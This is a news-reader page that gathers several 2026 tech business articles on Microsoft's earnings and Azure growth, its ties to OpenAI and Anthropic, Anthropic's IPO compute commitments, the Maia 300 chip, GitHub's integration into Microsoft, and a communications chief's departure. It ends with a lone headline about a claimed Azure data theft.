❌

Normal view

There are new articles available, click to refresh the page.
Yesterday — 28 October 2026Main stream

Bigger than Bing or Xbox: Microsoft’s OpenAI haul reaches $10B in quarterly revenue

28 October 2026 at 19:28
Sam Altman and Satya Nadella shake hands on stage in front of the OpenAI logo
OpenAI CEO Sam Altman and Microsoft CEO Satya Nadella at OpenAI’s DevDay in November 2023. (GeekWire File Photo / Todd Bishop)

OpenAI generated $10 billion in revenue for Microsoft in the quarter ended Sept. 30, about 11% of the Redmond company’s total revenue, according to its quarterly filing Wednesday.

The amount is up sharply. In the fiscal year that ended in June, Microsoft recorded $24.1 billion in revenue from its business with OpenAI, or about $6 billion a quarter on average.

That $10 billion surpasses some of Microsoft’s longest-running businesses. Xbox brought in $5.4 billion in the quarter. Search and advertising, which includes its Bing search engine, generated $6.6 billion. Windows licenses sold through PC makers, along with Surface and other Microsoft devices, brought in $3.6 billion.

The total covers revenue-sharing payments from OpenAI, as well as other business between the companies, such as OpenAI’s use of Azure to train and run its AI models. Microsoft didn’t say how much came from each, or how much of Azure’s growth came from OpenAI.

Azure revenue rose 48% to $33.2 billion in the quarter, beating Wall Street’s expectations and the company’s own forecast of 44% to 45% growth.

Microsoft has begun disclosing its revenue from OpenAI because its stake of about 24% makes OpenAI a “related party” under accounting rules, requiring it to report the business they do with each other.

Microsoft first reported the number in its annual report in July, as a full-year total. This is the first time it has given a quarterly figure.

The original AI alliance: Microsoft first invested in OpenAI in 2019, eventually committing $13 billion, and became its exclusive cloud provider. ChatGPT ran on Azure when it launched in late 2022.

The companies have loosened their ties since then. OpenAI restructured as a public benefit corporation in October 2025, and Microsoft gave up its right of first refusal to supply OpenAI’s computing capacity. OpenAI committed to buy an additional $250 billion in Azure services. An April 2026 agreement gave OpenAI broader freedom to use other cloud providers.

OpenAI has also agreed to keep sharing revenue with Microsoft through 2030.

In addition, Microsoft sells access to OpenAI’s models to business customers through its Azure OpenAI Service, and the models became the foundation for its Copilot products, putting Microsoft at the front of the generative AI boom. That revenue comes from Microsoft’s own customers, so it isn’t part of the $10 billion.

Microsoft, for its part, now builds its own AI models and offers models from Anthropic and others.

Many customers, not a few: Asked by Bernstein Research analyst Mark Moerdler whether AI growth on Azure was coming from big businesses or AI-native companies, Microsoft CEO Satya Nadella didn’t mention OpenAI.

He said he doesn’t want Azure’s AI business to depend on a few big customers, and that broad adoption by businesses is just getting started.

Nadella described it as “a decade-long thing,” and contrasted it with relying on “four customers who buy a lot of capacity from you” to show a few quarters of growth. That, he said, is “not a business as far as I’m concerned.”

He added that Microsoft has large customers who want to buy capacity, “and as long as the pricing is right, we may sell them some. If not, we will be patient.”

Later in the call, Goldman Sachs analyst Gabriela Borges brought up the fact that OpenAI made up 11% of revenue. Nadella didn’t address the number but praised OpenAI’s latest models and said customers are increasingly mixing models from different companies, or training their own.

He cited Microsoft’s tools for routing each task to whichever AI model handles it best. If you use AI coding agents, Nadella said, you want Anthropic and OpenAI “to compete for your workload, not like once a quarter, but for every task.”

New risk language: Microsoft also expanded a warning in its quarterly filing about the risks of depending on outside AI providers. The company builds products such as Copilot on AI models from outside companies, including OpenAI and Anthropic. It now says it has “limited visibility into or control over” how those models are designed, trained, secured and tested.

Without naming OpenAI or Anthropic, the same section notes that some of these AI partners are also “significant customers of Azure,” and that the benefits Microsoft expects from those relationships “may not be realized or sustained.” It says those partners could change how much they buy, and that Microsoft itself may change how it allocates scarce data center capacity or prices it.

Microsoft is an investor in both companies. According to its latest filing, it owns about 24% of OpenAI, down from about 25% in June and about 27% after OpenAI’s restructuring a year ago, and has put $12.0 billion of a promised $13.0 billion into the company.

In addition, Microsoft agreed last year to invest up to $5 billion in Anthropic, and its results for the June quarter included a $3.2 billion gain on that investment. Microsoft hasn’t disclosed the size of its Anthropic stake, and Anthropic’s IPO filing earlier this week didn’t specify it either.

Microsoft Azure revenue surges 48% to $33.2B, beating expectations as cloud and AI demand grows

28 October 2026 at 16:47
A gray baseball cap embroidered with the Microsoft logo and the words Microsoft Azure.
Microsoft broke out Azure’s quarterly revenue for the first time in its new financial structure. (GeekWire File Photo / Todd Bishop)

Microsoft’s Azure cloud business brought in $33.2 billion in revenue in the September quarter, up 48% from a year earlier, blowing past the company’s own forecast and beating Wall Street’s expectations.

The growth suggests that Microsoft is selling cloud and AI computing about as fast as it can install it. Azure revenue rose $10.8 billion from a year earlier, driven by demand for services across the platform, Microsoft said in its quarterly filing. That came even as some new data center capacity arrived late.

For investors worried about Microsoft’s record capital spending, it’s a sign that the company’s massive AI and cloud infrastructure buildout is turning into sales. Microsoft’s shares rose nearly 4% in after-hours trading following the earnings report.

Overall, Microsoft reported revenue of $92.3 billion for the first quarter of its 2027 fiscal year, up 19% and above the $90.75 billion analysts expected, according to Yahoo Finance. Earnings were $4.89 per share excluding the impact of its OpenAI investment, compared with expectations of $4.72.

It’s the first time Microsoft has reported Azure’s quarterly revenue figure, not just its growth. The disclosure is part of a new financial structure that took effect this quarter, splitting the company into two segments: Agents and Infra, and Devices and Consumer.

  • Agents and Infra (Azure, Microsoft 365, Dynamics, LinkedIn’s recruiting and sales tools, and server and productivity licensing): Revenue rose 25% to $76.8 billion, above Microsoft’s forecast of $75.15 billion to $75.75 billion. Operating income rose 24% to $40.6 billion.
  • Devices and Consumer (Windows, Xbox, and search and advertising): Revenue fell 3% to $15.5 billion, above Microsoft’s forecast of $14.7 billion to $15.2 billion. Operating income rose 2% to $5.4 billion.

Capital spending came in below Microsoft’s forecast. The company spent $45.2 billion, including finance leases, short of the more than $50 billion it expected. Some data center capacity that third parties were supposed to deliver in the quarter was delayed, the company said.

Google Cloud, which includes Google’s Workspace productivity apps, brought in $30.7 billion in revenue in the quarter, up 103% from a year earlier, Alphabet reported Wednesday afternoon.

Amazon reports earnings Thursday afternoon, including AWS results.

Update, 3:05 p.m.:Microsoft expects Azure growth to accelerate again this quarter, to 49% to 50% excluding currency changes, CFO Amy Hood said on the earnings call. “Customer demand continues to exceed available supply,” she said.

Hood said Azure’s growth came from Foundry, Microsoft’s service for building AI apps and agents, and from engineering work that let Microsoft sell unused capacity on its existing servers. That helped make up for delays in new data center capacity that outside providers were supposed to deliver.

Those delays pushed some spending later into the fiscal year. Microsoft now expects to spend about $170 billion on capital expenditures in calendar 2026, down from about $175 billion. It expects to spend more than $50 billion this quarter, and Hood said spending will accelerate in the first half of calendar 2027.

Hood also said Microsoft may tap additional sources of financing to help pay for the buildout, “when we believe it is attractive to do so.” The company still expects to bring in more cash than it spends this fiscal year.

Microsoft’s expense forecast for the December quarter includes an estimate for the buyout offer it announced Monday, Hood said, though she didn’t give the amount.

The company expects total revenue of $96 billion to $97.1 billion for the December quarter, above the $95.7 billion analysts expected, according to Yahoo Finance.

Before yesterdayMain stream

Microsoft earnings preview: Employee buyouts, AI spending and a new financial scorecard

27 October 2026 at 13:50
Satya Nadella walks across a stage in front of a large Microsoft logo.
Satya Nadella & Co. report quarterly earnings under a new financial structure Wednesday. (GeekWire File Photo / Kevin Lisota)

Update, 10/28: Microsoft’s Azure cloud business brought in $33.2 billion in revenue in the September quarter, up 48% from a year earlier, blowing past the company’s own forecast and beating Wall Street’s expectations. Read the full story.


Microsoft’s earnings report Wednesday will come two days after the company offered buyouts to about 60,000 people, roughly a quarter of its employees. The call gives executives their first chance to say what the offer will cost, and to explain how it fits with the company’s long-term view of its workforce.

Whether or not they go into those details, it’s one of several issues to watch in Wednesday’s report, the first under Microsoft’s new reporting structure. Anthropic’s IPO filing on Monday adds another storyline, showing how much the Claude maker has agreed to spend on Microsoft’s cloud.

Coming into the report, Microsoft’s stock is near its high. Microsoft closed Monday at $532.60, about 2% below its record close of $543.45 on Oct. 13, after gaining roughly $1.4 trillion in market value since late June.

Here are the key numbers and issues heading into Microsoft’s results for the first quarter of its 2027 fiscal year, ended Sept. 30.

Core numbers: Analysts expect revenue of $90.75 billion, up nearly 17% from a year ago, and earnings of $4.72 per share, up 14%, according to Yahoo Finance. Microsoft’s own forecast was $89.85 billion to $90.95 billion, so Wall Street is looking for a result near the top of that range.

In July, Microsoft reported $90 billion in revenue for the June quarter, well above the $87.7 billion analysts expected.

A new scorecard: Microsoft announced in September that it would sort its business into two groups instead of the three it had used since 2015. This is the first quarter under the new setup.

The first, dubbed Agents and Infra, includes Azure, Microsoft 365, Dynamics, LinkedIn’s recruiting and sales tools, and server and productivity licensing. It brought in 81% of Microsoft’s revenue and 88% of its operating income in fiscal 2026, based on figures Microsoft recast under the new structure.

Microsoft expects Agents and Infra revenue of $75.15 billion to $75.75 billion this quarter, which would be growth of about 22% to 23%, by GeekWire’s calculation.

The other group, Devices and Consumer, includes Windows, Xbox and search advertising. Microsoft expects it to bring in $14.7 billion to $15.2 billion, down 5% to 8% from a year earlier.

Azure, in dollars: Microsoft started disclosing Azure’s annual revenue last year, when it passed $75 billion, and topped $100 billion in fiscal 2026. Starting this quarter, it reports the figure every quarter. It also changed what counts as Azure: GitHub’s cloud business and Security Copilot now fall under Microsoft 365, and its healthcare cloud moved to a new industry unit.

Counted that way, Azure brought in $29.4 billion in the June quarter, up 42%. Microsoft expects growth of 44% to 45% this quarter, not counting currency fluctuations, which would put Azure at roughly $32 billion, by GeekWire’s calculation. That compares with the roughly 45% Microsoft projected in July, under the old definition.

Hitting that forecast may not be enough. Investors are looking for about 46%, BNP Paribas analyst Stefan Slowinski wrote in a note Monday. In January, Azure beat Microsoft’s own forecast and the stock still fell 10%, because investors had privately expected more.

“Azure moves the stock, but the read that matters is whether capacity is absorbed as fast as it lands,” wrote Dan Ives of Yorkville Ives in a note last week.

Capital spending: Microsoft expects capital expenditures of more than $50 billion for the quarter, which would be a record. That’s up from $41 billion in the June quarter and $34.9 billion a year earlier.

An accounting change reduces what Microsoft reports as capital spending, without reducing its planned investment. Microsoft now assumes its data center buildings will last 25 years instead of 15. As a result, more of its data center leases will be classified in a way that doesn’t count as capital spending, CFO Amy Hood said on the July earnings call.

That change alone lowered Microsoft’s capital spending estimate for calendar 2026 to about $175 billion, from the roughly $190 billion it projected in April. Hood said the company’s actual spending plans hadn’t changed.

Cloud margins: Microsoft Cloud gross margin came in at 65% last quarter, better than expected but down from a year earlier. Microsoft said it expects the figure to be relatively stable this quarter. It also expects operating margins to be roughly flat with a year ago.

Workforce: The new “voluntary exit” offer, announced Monday by Chief People Officer Amy Coleman, covers participating teams in the U.S., Canada, the U.K. and India. It has no age or tenure requirement and extends to some vice presidents. Employees have until the first week of December to decide, and Microsoft hasn’t said how much the offer will cost or when it will record the charge.

For the spring retirement program, Hood disclosed the cost on the April earnings call: about $900 million, with roughly $350 million in cost of revenue and $550 million in operating expenses. The charge showed up in the following quarter. About 30% of the 8,750 eligible employees accepted.

The new offer is less generous. It matches Microsoft’s standard severance, without the extended healthcare of the spring program, and the company expects a much smaller share of people to take it. But the pool of eligible employees is nearly seven times larger.

Microsoft says the offer doesn’t mean it needs fewer people. Coleman said in July that the company was studying whether to make voluntary exits a regular part of managing its workforce. It has told investors to expect operating margins roughly flat this quarter and down less than a point for the full fiscal year, even with record capital spending.

Nadella has addressed this before. In a July 2025 memo to employees, after Microsoft laid off about 15,000 people, he acknowledged the “uncertainty and seeming incongruence” of thriving financially while cutting jobs. “This is the enigma of success in an industry that has no franchise value,” he wrote.

In his annual shareholder letter last week, he focused on Microsoft’s spending on AI infrastructure. “Based on the demand we see and the efficiencies we are driving, I am confident in the long-term returns on our investments,” Nadella wrote. “We are building against a growing book of business tied to this secular shift.”

Microsoft had about 223,000 employees as of June 30, before it cut 4,800 jobs in July and more in September. The Information reported this month that Azure President Girish Bablani told leaders in his group to find ways to cut costs by at least 20%. Microsoft called the report inaccurate and said Azure leadership had not directed teams to develop cost-cutting plans.

Copilot: Microsoft said in July that businesses were paying for more than 30 million Microsoft 365 Copilot seats, up from 20 million in April. That’s still only about 7% of the more than 450 million commercial Microsoft 365 seats.

The bigger change is in how Microsoft charges for Copilot and its other AI tools. In July it added usage-based billing alongside per-seat pricing. It’s also pushing customers toward E7, a new premium bundle that includes Copilot. Microsoft expects Microsoft 365 commercial cloud revenue to grow about 17% this quarter, not counting currency swings, a number that now includes GitHub.

The BNP Paribas analyst Slowinski, who attended Microsoft’s Frontier Tour event in London last week, wrote that partners are seeing more customers roll out Copilot company-wide. Partners also told him that Microsoft now ties 35% of E7 sales incentives to how much customers use features like Cowork.

Anthropic and OpenAI: Anthropic’s S-1 filing shows the company has committed to spend at least $44.9 billion with Microsoft from November 2026 to May 2033, up from the $30 billion Azure commitment announced last November. That’s well below its minimum commitments to Amazon ($110 billion) and Google ($114.5 billion).

Microsoft agreed last year to invest up to $5 billion in Anthropic. Its results for the June quarter included a $3.2 billion gain on that investment.

OpenAI remains the bigger factor. Microsoft’s commercial remaining performance obligation (RPO), the measure of signed contracts it hasn’t yet delivered on, reached $678 billion last quarter, up 84% from a year earlier. Without OpenAI, the backlog grew 25%. OpenAI told investors its annualized revenue approached $50 billion at the end of September, The Information reported, lower than earlier reports of about $70 billion.

Windows: Microsoft expects revenue from Windows licenses sold to PC makers, along with its own devices, to fall a little more than 20%. Higher memory prices are making PCs more expensive, and PC makers are still working through extra inventory.

What’s next: Alphabet also reports Wednesday afternoon, and Amazon reports Thursday, setting up a side-by-side look at Azure, Google Cloud and AWS.

Anthropic is aiming to go public the week of Nov. 16, according to the Wall Street Journal.

Check back Wednesday afternoon for coverage.

Who’s getting Anthropic’s compute spending? IPO filing shows where the tech giants really stand

27 October 2026 at 09:53
Two men stand on a stage in front of large screens showing the Amazon and Anthropic logos, with an audience in the foreground.
Chris Jones, director of Seller Assistant at Amazon, left, and Eric Burns of Anthropic’s Applied AI team on stage at Amazon Accelerate in Seattle in September. Anthropic’s IPO filing shows Google getting a bigger share of the AI company’s computing spending than Amazon, one of its largest investors. (GeekWire Photo / Todd Bishop)

Anthropic’s IPO filing reads like a ledger of who’s getting paid in the AI boom. The Seattle region’s tech giants are on the list, but they aren’t at the top.

The prospectus, filed Monday with the Securities and Exchange Commission, details more than $750 billion in computing deals, including firm commitments and estimated future spending, and offers clues about what its founders and biggest investors stand to gain ahead of the company’s planned Nasdaq listing under the ticker ANT.

Amazon and Microsoft have invested billions in Anthropic and won high-profile spending commitments from the Claude maker. But both trail Google, chipmaker Broadcom and Elon Musk’s SpaceX in their shares of Anthropic’s planned spending on computing power, the filing shows.

Following the compute money: Google’s chips are the biggest winner. Anthropic has lined up roughly $400 billion in computing capacity, mostly over the next seven years, based on Google-designed AI chips, known as tensor processing units or TPUs.

That total includes $114.5 billion to Google directly through July 2033, $161.2 billion in equipment leases with chipmaker Broadcom, and an estimated $125 billion to $150 billion in additional TPU capacity from 2028 to 2031.

Broadcom’s leases are the largest single arrangement in the filing. The five-year leases provide TPU-based hardware for data centers operated by other companies on Anthropic’s behalf.

Elon Musk’s SpaceX is next. Anthropic agreed to spend up to $120.5 billion through 2029 for computing capacity from SpaceX’s AI subsidiary, formerly known as xAI, which runs a rival AI lab.

The filing says payments will reach about $3.1 billion a month once all the capacity is delivered, which Anthropic expects in December. The agreements run into 2029, though either side can cancel on 90 days’ notice after early 2027.

Amazon is still a big winner. Anthropic committed in April to spend at least $110 billion with Amazon Web Services over 10 years, through April 2036, and AWS Trainium is one of four chip families that Anthropic uses to train and run its models.

Microsoft’s piece is smaller, which reflects its later start. The company was aligned closely with OpenAI for years before striking its own deal with Anthropic.

Anthropic has committed to spend at least $44.9 billion on Microsoft’s Azure cloud from November 2026 through May 2033, the filing shows. That’s up from the $30 billion Azure deal announced in November 2025. The deal has been amended twice since, most recently this month.

Claude is built into Microsoft 365, and former Microsoft CFO Chris Liddell joined Anthropic’s board in February.

Two smaller providers have deals in the same range as Microsoft’s. Anthropic agreed to spend up to about $44.6 billion with Nscale, a U.K.-based AI infrastructure company, and about $41.3 billion with GPU cloud provider Lambda, both for capacity powered by Nvidia chips, according to the filing.

Will Anthropic need it all? Most of the commitments can’t be canceled, and the deals with Microsoft, Google and Amazon require Anthropic to pay “regardless of actual usage,” according to the filing.

So far, the demand is there. Anthropic’s revenue hit $11.6 billion in the second quarter, up from $787 million a year earlier, and the company posted its first operating profit, $974 million. It still had a $66.3 billion net loss, mostly from accounting charges tied to its soaring valuation.

The company says it has “consistently operated in a compute-constrained environment where customer demand exceeds available compute.”

Its compute commitments assume that demand keeps growing. Anthropic spent less than $2 billion a month on compute and infrastructure in the second quarter. The SpaceX deal alone is expected to cost about $3.1 billion a month at full capacity.

Paper fortunes: Amazon’s biggest payoff is its stake, which it valued at $190.4 billion as of June 30 in its quarterly SEC filing. That includes convertible notes with $6.2 billion in principal that Amazon valued at $97.9 billion. The notes would convert into stock, subject to a 12% ownership cap that Amazon can waive.

Amazon is scheduled to report third-quarter results Thursday, its first earnings report since Anthropic’s filing. The Seattle-based company has updated the value of its Anthropic holdings in each of its quarterly filings this year, so a new number could come this week.

Google put $10 billion into Anthropic’s latest funding round and can invest up to $20 billion more under a March financing deal. The filing doesn’t give ownership percentages for Amazon, Google or Microsoft. It says only that the three companies have each made “significant equity investments” in Anthropic.

Anthropic’s seven co-founders hold roughly 230 million to 245 million shares each, worth about $14 billion apiece at the latest private funding price. The company also gave its own Public Benefit Fund about 847 million shares, or 5% of its fully diluted stock as of June 30, worth about $50 billion at that price.

Anthropic could begin formally marketing its IPO to investors as soon as the week of Nov. 9, Bloomberg reported, citing people familiar with the matter. It is aiming to go public the following week, according to the Wall Street Journal. The company expects the offering to match or beat the size of SpaceX’s IPO, according to Bloomberg. SpaceX raised $75 billion in June, the largest IPO on record.

Microsoft’s wild ride: Stock hits new record after a year of ups and downs

14 October 2026 at 09:27
Microsoft CEO Satya Nadella gives the company’s founding mission an AI update at Build in June, a preview of the “Windows Hybrid Intelligence” initiative that the company unveiled last week. (Photo by Dan DeLong for Microsoft)

In less than four months, Microsoft has added roughly half an Amazon to its market value.

The tech giant’s stock has gained about $1.4 trillion in value since early summer, rising from $352.83 on June 25, its lowest close in more than a year, to a record close of $543.45 on Tuesday, giving it a market value just above $4 trillion. The increase over that period is nearly as much as Tesla is worth.

As stock turnarounds go, it’s extraordinary. In January, Microsoft lost $357 billion in a single day, the biggest one-day drop in its history, as investors worried about the company’s AI spending and its reliance on OpenAI. By midsummer, Microsoft was the worst performer this year among the big tech stocks known as the “Magnificent Seven,” according to Morningstar.

The rebound accelerated in late July, when Microsoft reported that Azure, its cloud platform, grew 43% and topped $100 billion in annual revenue. The stock jumped 15.5% the next day. It has mostly kept climbing since, as Microsoft rolled out a revamped Copilot app, a new AI push for Windows and new AI chips.

Microsoft isn’t rising alone. The broader stock market has also been hitting record highs, led by AI stocks. The S&P 500 closed above 7,800 for the first time last week, even as the benchmark 10-year Treasury yield reached its highest level since 2002.

Microsoft CEO Satya Nadella has been making a broader pitch along the way. In an essay posted on X in July, he warned that companies relying on outside AI labs “pay for intelligence twice, once with money, and again with something even more valuable,” meaning their own knowledge.

He urged businesses to keep control of that knowledge and avoid tying themselves to any one AI model. Microsoft sells access to models from OpenAI, Anthropic and others, along with its own.

Last weekend, he took up a related theme, calling on X for an “emergency brake” on advanced AI models. That means “separating the model from the harness that orchestrates its work,” he wrote. “We must assume a model is compromised and contain it from the start.”

The message also fits Microsoft’s business interests. As companies use AI models from multiple providers, the advantage could shift to companies like Microsoft that run the cloud and workplace software where businesses keep their data.

Microsoft reports its next quarterly results Oct. 28.

Microsoft makes ‘biggest bet yet’ on its own silicon, unveils new AI chip to reduce reliance on Nvidia

12 October 2026 at 09:22
A prototype of Microsoft’s Azure Maia 300 chip, which the company plans to begin deploying at scale in 2027. (Microsoft Photo)

Microsoft plans to run most of its AI services on chips it designs itself, a shift that could save the company billions of dollars and reduce its dependence on industry juggernaut Nvidia.

The company on Monday unveiled Maia 300, the third generation of its custom AI chip, saying it will begin large-scale deployments in 2027. In a blog post, Azure chief Scott Guthrie said Maia will become “the primary AI inference system for Microsoft products and services.”

Microsoft CEO Satya Nadella called it “our biggest bet yet on our own silicon” in a post on X.

Maia 300 will produce 40% more AI output for the same amount of power as leading GPU-based systems, which Nvidia dominates, according to the company.

A full rack of the new chips will produce up to seven times as much AI output as the current generation, the company says. They’re designed for the kinds of tasks that are growing fastest, such as AI agents that work through multistep jobs and models that handle long documents or conversations.

The Redmond company designs the chips and relies on Taiwan Semiconductor Manufacturing Co. (TSMC) to make them, rather than buying finished chips from Nvidia. More-efficient chips also let Microsoft run AI services using less electricity, at a time when power supply has become one of the biggest constraints on AI expansion.

Microsoft and Nvidia remain big partners. Nadella and Nvidia CEO Jensen Huang shared the stage last week to launch Windows PCs built on Nvidia chips. Nvidia also remains a key supplier for Microsoft’s data centers, and Nadella said on the company’s July earnings call that Microsoft will be among the first cloud providers to deploy next-generation systems based on Nvidia’s Vera Rubin and AMD’s Helios.

Microsoft’s move is part of a larger trend among tech giants to design their own AI chips. Google has started selling its Tensor Processing Units directly to some customers, and Amazon has won over AI companies including Anthropic with its Trainium chips. Meta has rolled out its own AI chips, and OpenAI unveiled its first custom chip, built with Broadcom, in June.

Microsoft has been playing catch-up. Unlike Google’s and Amazon’s chips, Maia isn’t available for outside customers to rent. Microsoft’s first Maia chip, announced in 2023, was followed by a second-generation Maia 200 this January after delays. As of this summer, Maia 200 was running in just two U.S. data centers, The Information reported in August.

Maia 200, the current generation, already powers Microsoft 365 Copilot and runs models from OpenAI as well as Microsoft’s own. It’s now being deployed across the U.S., Europe and Australia, according to Microsoft. GitHub Copilot and Microsoft Foundry are set to move onto it by the end of the year.

The shift will take time. Evercore ISI analysts estimate that Maia will account for about 10% of Microsoft’s spending on AI chips by early 2027, CNBC reported.

Microsoft says it will share more details next month at its Ignite conference in San Francisco.

Microsoft 2.5: GitHub COO Kyle Daigle on stitching the developer universe together

9 October 2026 at 09:55
GitHub COO Kyle Daigle, who now also leads developer marketing for all of Microsoft, speaks at GitHub Universe last year. (Microsoft Photo)

GeekWire is profiling over the next few weeks some of the people and teams that are shaping the evolution of Microsoft in what we’re calling its “Microsoft 2.5” era.

A delicate dance: In August 2025, Microsoft moved to integrate GitHub into the mothership, under its CoreAI division, after having allowed it to run as a quasi-independent entity since acquiring it in 2018. At the same time, GitHub CEO Thomas Dohmke announced he would leave the company at the end of the year.

A number of developers feared the worst: GitHub would become just another arm of Microsoft and lose the community-mindedness that had made it attractive to developers of all stripes, and especially open-source ones.

GitHub Chief Operating Officer Kyle Daigle — a 13-plus-year GitHub veteran — had been one of the main champions of the need to “keep GitHub GitHub.” He maintained that stance even after he added the “Chief Marketing Officer of Developer” title for all of Microsoft to his COO role in January 2026.

So, how has Microsoft done this past year with managing GitHub? In an interview with GeekWire, Daigle acknowledged that GitHub’s relationship with Microsoft has changed since the end of the standalone CEO era. But the goal is no longer just “don’t break GitHub.” It’s to export GitHub’s community, developer-first ethos and learnings across Microsoft.

GitHub has influence beyond just the GitHub product set now, Daigle said. And the fact that Microsoft opted to consolidate its developer-facing messaging and community outreach under Daigle, someone who came from GitHub, not from Microsoft’s traditional DevDiv organization, gives weight to his claim.

“Bringing teams together — engineering teams and marketing teams and everyone that wasn’t talking to each other before — has been a really big part of the work,” Daigle said. “I see all these opportunities for GitHub to directly help and impact the overall mission of Microsoft versus keeping it cloistered in a way that isn’t helping either GitHub’s mission or Microsoft’s mission.”

These days, developer teams across Microsoft and GitHub are sharing foundations and the GitHub Copilot software development kit across organizations “in a way that would have seemed improbable before,” he said.

As Microsoft historians know, “Microsoft’s challenge isn’t creating products. It’s connecting them,” Daigle said.

Growing pains: At the same time, the rise of AI agents has strained GitHub’s infrastructure. Over the past few months, GitHub has experienced some significant outages, including one in August that lasted nearly eight hours.

GitHub officials have said they are migrating from their own datacenters to Azure to try to ease some of the capacity issues. Daigle said it’s not a simple lift-and-shift process; rather, it’s a major re-architecture for the platform.

GitHub is roughly 60% through its Azure migration as of early October, he said.

It’s working with Azure storage teams on separating compute and storage for the Git distributed version control system to help alleviate bottlenecks caused by developers and agents working concurrently in the same repositories. Developers and agents made 7.38 billion commits on GitHub in September alone, according to the company.

GitHub’s recent growth would not have been manageable without Microsoft scaling expertise and Azure support, Daigle said. GitHub is in a unique position of being able to request major additional capacity, such as millions of CPUs, and work with Microsoft teams to provision it, he said.

The GitHub app and agent store: GitHub got its start as a platform for source control and collaboration. But its role is evolving as part of its Microsoft integration. In addition to developing and supporting Microsoft’s most successful Copilot, GitHub Copilot, GitHub has an important place in Microsoft’s agent-centric strategy.

GitHub is becoming “the store for anything that needs to be coded and needs some verification,” Daigle said. “We’ll connect you to whatever the right tool inside of Microsoft is for you to run that or whatever tool you’re using, not just (from) the Microsoft product suite.”

In the new world order, GitHub isn’t just the store for apps. Increasingly, it’s also the store for agents, which means GitHub is acting as the developer layer for Microsoft’s “agent factory” strategy.

(Microsoft co-founder Bill Gates envisioned Microsoft as a “software factory” that could produce software at scale. These days, CEO Satya Nadella and team talk about Microsoft as an “agent factory,” helping customers create agents at scale.)

GitHub currently serves more than 200 million developers, plus an unknown but quickly growing number of agents.

Developers need to be thinking in new ways when it comes to agents, Daigle said. They need to consider ideas such as scaling application programming interfaces (APIs) for agents separately from humans, creating APIs designed specifically for agents, rewriting documentation and tooling so agents can consume GitHub efficiently, and treating agent access as a fundamentally different workload from human access.

In the longer term, Daigle said he expects AI to make software economically viable for smaller audiences, such as a family, an individual or a single team. The app-store model may change substantially in the coming years, as people create highly specialized applications. GitHub could help like-minded users discover software for specific interests, such as a narrowly focused household or community use case.

GitHub historically has considered anyone who has seen or touched code to be part of the developer community. Daigle’s vision is for GitHub and Microsoft to let both professional developers and newer builders create and run software and agents without needing to manage token costs, uptime, monitoring or operational overhead.

GitHub will have more to say about its plans at the GitHub Universe conference in San Francisco, Oct. 28-29. The event won’t focus on code generation alone; it will include information on tools covering the full lifecycle, proactive security approaches and how to determine whether software is working well after deployment.

“We’re looking to solve the core parts of the platform, like Git, like Actions, in a way that I hope will make people excited and feel like they can absolutely trust GitHub for the next decade to come,” Daigle said.

Microsoft comms chief Frank Shaw to exit after nearly three decades shaping the company’s message

11 September 2026 at 12:00
Frank X. Shaw addresses the media at Microsoft on May 18, 2025, in advance of the Build conference. (GeekWire Photo / Todd Bishop)

It’s the end of an era at Microsoft: Frank X. Shaw, the executive who oversaw the tech giant’s communications for nearly three decades, first at an external agency and for the last 17 years as one of its senior leaders, is leaving at the end of the year.

Shaw, 64, said he’s not retiring, although he doesn’t have another job lined up. He plans to stop working for a while, do some of the things he hasn’t had time for, and then decide what’s next.

“I have had a ringside seat at some of the biggest leadership, technology, and business transformations that have ever taken place,” Shaw said, sharing the news of his departure (under embargo) in a phone call Thursday afternoon. “I just feel incredibly fortunate.”

He said he had been discussing his potential departure for some time with Takeshi Numoto, Microsoft’s chief marketing officer, looking for the right moment.

Microsoft has not announced a successor for his role as chief communications officer. In a LinkedIn post, Shaw said the company will consider internal and external candidates.

A statement from Shaw’s colleagues in corporate communications credited him for his many years shaping Microsoft’s “voice and reputation with intelligence, candor and wit. His leadership and contributions to the company are too extensive to list, as is the number of journalists who have, at one point or another, used his name in vain.”

A former Marine Corps public affairs officer, Shaw has worked with all three of Microsoft’s CEOs. He started on the agency side, at Waggener Edstrom — now known as We. Communications — when Bill Gates was still running the company.

He built his reputation defending and advocating for Microsoft through some of its hardest stretches: the antitrust years, the Windows Vista backlash, the scramble to replace Steve Ballmer as CEO, and the weekend in 2023 when OpenAI’s board fired Sam Altman.

As the company’s top communications executive, he has also told the story of Microsoft’s reinvention under CEO Satya Nadella, from the LinkedIn and Activision Blizzard deals to an AI push that has carried Azure past $100 billion in annual revenue.

Evolving with technology: Shaw has spent much of his career closely watching the tech landscape and moving Microsoft’s voice into new channels as they emerged.

“We’re always thinking about what is the art and science of communications,” Shaw told PRWeek. “How do we reach our audiences most effectively in a changing environment?” He called the arc from print to radio and TV to social media and newsletters a “constant evolution of influence.”

He turned the corporate blog into a place where the company argued its own case, writing “Microsoft by the numbers” himself in 2010 — a stat-by-stat comparison against Apple and Google that TechCrunch dubbed “fantastic passive-aggressive.”

He and his team experimented with different and risky methods of telling the company’s story, holding mass briefings under embargo and publishing documents known as the “Book of News” in advance of its major keynotes and conferences. The prospect of a reporter having to answer to “fxs” was no doubt a factor in ensuring the news (mostly) didn’t leak.

Shaw hired Steve Clayton out of a technical role at Microsoft in London, where he had been blogging about the company unofficially out of frustration with how it was perceived, and made him chief storyteller. In the middle of the AI boom, Clayton and Shaw embraced the analog undercurrents in popular culture and launched Signal, a quarterly Microsoft print magazine for business leaders.

Clayton was VP of communications strategy by the time he left in January to become chief communications officer at Cisco, making Shaw’s planned departure the second high-profile exit from Microsoft’s comms team in a year.

Adapting to AI: In recent years, Shaw made his own team a testing ground for AI, publishing what worked and what didn’t. In a 2023 post he described using Copilot in Teams to pull story ideas out of conversations with spokespeople and anticipate coverage after interviews, and asking the AI to “poke holes in a statement we’re making on a tricky topic.”

He called it his corporal, a reference to Napoleon, who was said to bring one to meetings and ask whether his generals’ war plans made sense to him. A survey of 80 people in Microsoft’s communications and marketing organization found 84% did not want to go back to working without it.

Shaw was also known to use AI as a sounding board when a story frustrated him, offering him an objective take before he called and let a particular reporter have it.

He announced his departure Friday morning in a message to Microsoft’s communications team (reminding them he’s still there for a few months yet) and his public post on LinkedIn.

“Thank you as well to all the reporters, editors, writers, influencers and analysts who have put up with me over this time, enduring my early and late night calls, my off the record ‘no comments,’ my bad story ideas and my extended commentary on headlines and positioning,” he wrote.

“You all have incredibly hard and valuable jobs,” he added, “and while I’ve not agreed with everything said about us 😊 I appreciate you anyway.”

Hacker Claims Millions of Records Stolen From Azure Tenants

18 August 2026 at 10:57

